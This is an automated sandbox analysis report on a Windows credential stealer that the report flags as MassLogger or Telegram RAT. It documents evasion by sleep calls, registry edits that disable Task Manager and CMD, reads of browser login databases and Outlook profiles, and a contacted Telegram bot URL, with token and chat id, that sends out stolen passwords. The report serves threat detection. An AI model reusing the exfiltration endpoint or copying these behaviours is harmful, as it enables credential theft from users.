Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599253s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -599001s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598883s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -598063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596992s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596889s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596507s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596283s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596162s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -596047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595795s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe TID: 528	Thread sleep time: -594063s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405846
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_004027FB FindFirstFileW,	5_2_004027FB
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Code function: 5_2_00406398 FindFirstFileW,FindClose,	5_2_00406398

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599253	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 599001	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598883	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596992	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596889	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596507	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596283	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596162	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595907	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595795	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595313	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594516	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594172	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Thread delayed: delay time: 594063	Jump to behavior

Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.000000000600A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}v
Source: 14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2649241318.000000000600A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	API call chain: ExitProcess graph end node			graph_0-3943
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	API call chain: ExitProcess graph end node			graph_0-3763

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Process created: C:\Users\user\Desktop\14lVOjBoI2.exe "C:\Users\user\Desktop\14lVOjBoI2.exe"

Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Users\user\Desktop\14lVOjBoI2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Code function: 0_2_00406077 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 14lVOjBoI2.exe PID: 8088, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 14lVOjBoI2.exe PID: 8088, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\14lVOjBoI2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\14lVOjBoI2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\14lVOjBoI2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 14lVOjBoI2.exe PID: 8088, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 14lVOjBoI2.exe PID: 8088, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 14lVOjBoI2.exe PID: 8088, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
14lVOjBoI2.exe	55%	ReversingLabs	Win32.Trojan.Generic
14lVOjBoI2.exe	65%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.142	true	false	high
drive.usercontent.google.com	216.58.206.65	true	false	high
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://drive.google.com/?	14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897	14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	14lVOjBoI2.exe, 00000005.00000003.2246178651.0000000006022000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	14lVOjBoI2.exe, 00000005.00000002.2649241318.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	14lVOjBoI2.exe, 00000005.00000002.2670933518.00000000365A8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	14lVOjBoI2.exe, 00000005.00000002.2649241318.000000000601C000.00000004.00000020.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000003.2277509572.0000000006022000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036584000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	14lVOjBoI2.exe, 00000005.00000003.2246237869.0000000006022000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	14lVOjBoI2.exe	false	high
http://api.telegram.org	14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036792000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036732000.00000004.00000800.00020000.00000000.sdmp, 14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036672000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	14lVOjBoI2.exe, 00000005.00000002.2670933518.0000000036511000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	14lVOjBoI2.exe, 00000005.00000002.2670933518.000000003658F000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.185.142	drive.google.com	United States	15169	GOOGLEUS	false
104.21.32.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
216.58.206.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588928
Start date and time:	2025-01-11 07:17:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	14lVOjBoI2.exe renamed because original name is a hash value
Original Sample Name:	ad3b51ce98d8e69775168649d8b4ffbee80c182b3fdb6cfa7f964548c70e9e75.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 147 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:20:24	API Interceptor	113x Sleep call for process: 14lVOjBoI2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	YDg44STseR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
104.21.32.1	BalphRTkPS.exe	Get hash	malicious	FormBook	Browse	www.aziziyeescortg.xyz/2pcx/
	25IvlOVEB1.exe	Get hash	malicious	FormBook	Browse	www.masterqq.pro/3vdc/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
132.226.247.73	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	tNXl4XhgmV.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rXKfKM0T49.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/

Domains

